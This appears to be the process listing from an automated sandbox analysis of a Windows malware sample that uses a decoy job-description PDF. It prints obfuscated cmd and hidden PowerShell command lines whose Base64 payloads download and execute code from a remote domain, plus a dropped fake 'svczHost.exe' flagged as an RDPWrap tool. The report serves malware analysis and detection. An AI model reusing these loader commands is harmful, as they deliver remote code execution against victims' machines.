                                                                                                                                          Commandline:"C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:1
                                                                                                                                          Start time:05:27:10
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:2
                                                                                                                                          Start time:05:27:10
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:3
                                                                                                                                          Start time:05:27:10
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:5
                                                                                                                                          Start time:05:27:13
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline"
                                                                                                                                          Imagebase:0x7ff759300000
                                                                                                                                          File size:2'759'232 bytes
                                                                                                                                          MD5 hash:F65B029562077B648A6A5F6A1AA76A66
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:moderate
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:6
                                                                                                                                          Start time:05:27:13
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1AAD.tmp" "c:\Users\user\AppData\Local\Temp\ybpc4wl1\CSC6A692CC47F2F404EAC3A66596F569951.TMP"
                                                                                                                                          Imagebase:0x7ff6bf1c0000
                                                                                                                                          File size:52'744 bytes
                                                                                                                                          MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:moderate
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:7
                                                                                                                                          Start time:05:27:20
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:8
                                                                                                                                          Start time:05:27:20
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:9
                                                                                                                                          Start time:05:27:24
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA=
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:10
                                                                                                                                          Start time:05:27:24
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:11
                                                                                                                                          Start time:05:27:24
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA=
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:12
                                                                                                                                          Start time:05:27:24
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:13
                                                                                                                                          Start time:05:27:24
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\AppData\Local\Temp\Job-Description.pdf.pdf"
                                                                                                                                          Imagebase:0x480000
                                                                                                                                          File size:3'014'368 bytes
                                                                                                                                          MD5 hash:6791EAE6124B58F201B32F1F6C3EC1B0
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:15
                                                                                                                                          Start time:05:27:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                          Imagebase:0x7ff73ed80000
                                                                                                                                          File size:57'360 bytes
                                                                                                                                          MD5 hash:F586835082F632DC8D9404D83BC16316
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:16
                                                                                                                                          Start time:05:27:45
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                                                                          Imagebase:0x7ff73ed80000
                                                                                                                                          File size:57'360 bytes
                                                                                                                                          MD5 hash:F586835082F632DC8D9404D83BC16316
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:17
                                                                                                                                          Start time:05:27:45
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\SgrmBroker.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\SgrmBroker.exe
                                                                                                                                          Imagebase:0x7ff66b1a0000
                                                                                                                                          File size:329'504 bytes
                                                                                                                                          MD5 hash:3BA1A18A0DC30A0545E7765CB97D8E63
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:18
                                                                                                                                          Start time:05:27:45
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\sppsvc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\sppsvc.exe
                                                                                                                                          Imagebase:0x7ff618c20000
                                                                                                                                          File size:4'629'328 bytes
                                                                                                                                          MD5 hash:30C7EF47B57367CC546173BB4BB2BB04
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:19
                                                                                                                                          Start time:05:27:46
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                          Imagebase:0x7ff73ed80000
                                                                                                                                          File size:57'360 bytes
                                                                                                                                          MD5 hash:F586835082F632DC8D9404D83BC16316
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:20
                                                                                                                                          Start time:05:27:46
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
                                                                                                                                          Imagebase:0x7ff73ed80000
                                                                                                                                          File size:57'360 bytes
                                                                                                                                          MD5 hash:F586835082F632DC8D9404D83BC16316
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:21
                                                                                                                                          Start time:05:27:46
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                                                                                                                                          Imagebase:0x7ff73ed80000
                                                                                                                                          File size:57'360 bytes
                                                                                                                                          MD5 hash:F586835082F632DC8D9404D83BC16316
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:22
                                                                                                                                          Start time:05:27:56
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\Temp\svczHost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\Temp\svczHost.exe cakoi10 uyt1n8ded9fb380.com
                                                                                                                                          Imagebase:0x7ff7a2950000
                                                                                                                                          File size:8'351'232 bytes
                                                                                                                                          MD5 hash:EB57894A8FF610DF55C97E427D0DDD7B
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Yara matches:
                                                                                                                                          • Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
